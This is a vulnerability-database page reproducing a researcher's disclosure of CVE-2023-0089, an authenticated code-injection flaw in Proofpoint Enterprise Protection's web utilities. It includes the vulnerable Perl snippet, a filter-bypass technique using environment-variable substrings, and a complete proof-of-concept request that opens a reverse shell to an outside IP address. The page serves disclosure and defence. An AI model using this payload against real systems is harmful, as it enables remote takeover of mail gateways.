| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2023-0089 | 8 Mar 202307:23 | – | circl | |
| Proofpoint Enterprise Protection 代码注入漏洞 | 8 Mar 202300:00 | – | cnnvd | |
| CVE-2023-0089 | 8 Mar 202300:27 | – | cve | |
| CVE-2023-0089 Proofpoint Enterprise Protection webutils authenticated RCE | 8 Mar 202300:27 | – | cvelist | |
| Exploit for Eval Injection in Proofpoint Enterprise_Protection | 7 Jul 202613:02 | – | githubexploit | |
| EUVD-2023-12190 | 3 Oct 202520:07 | – | euvd | |
| CVE-2023-0089 | 8 Mar 202301:15 | – | nvd | |
| CVE-2023-0089 | 8 Mar 202301:15 | – | osv | |
| Remote code execution | 8 Mar 202301:15 | – | prion | |
| PT-2023-16004 · Proofpoint · Proofpoint Enterprise Protection | 8 Mar 202300:00 | – | ptsecurity |
# About
Security researcher: ly1g3, ly1g3[at]tuta.io
GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Overview: Remote Code Execution - Low level authenticated user to admin RCE
CVE: CVE-2023-0089
Timeline:
* Discovered - ly1g3
* Reported - ly1g3
* Fixed - Proofpoint
# Proofpoint Messaging Security Gateway 8.18.4.73-8.18.4.73
Exploits for Proofpoint Messaging Security Gateway
## Remote Code Execution (RCE)
A low level (authenticated) user of the Euweb can gain arbitrary code execution with admin privileges.
## Technical
The `getMsgType` function in the `Euwebutils.pm` is vulnerable to command injection. The `$module` variable comes from a get parameter and no sanitization is applied to this user input.
```perl
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
```
This `getMsgType` function is used by many API calls used by the Euweb application, so the exploit can be triggered in many ways.
Since all chars must be uppercase environment variables can be used to bypass this restriction for lower case letters. Example: `${SHELL:1:1}` instead of `b`
Since `use strict` is used `MAIL_GENERAL()` can be added to the beginning of the string to complete `PROOFPOINT_MAIL_REPORT_MSGTYPE_`. After this custom perl code can be added.
Example payload unencoded: ```MAIL_GENERAL();`id` ```
## POC
Reverse shell encoded using environment variables to bypass lower case restrictions. Code run as `pps` user.
```yaml
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`
```Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation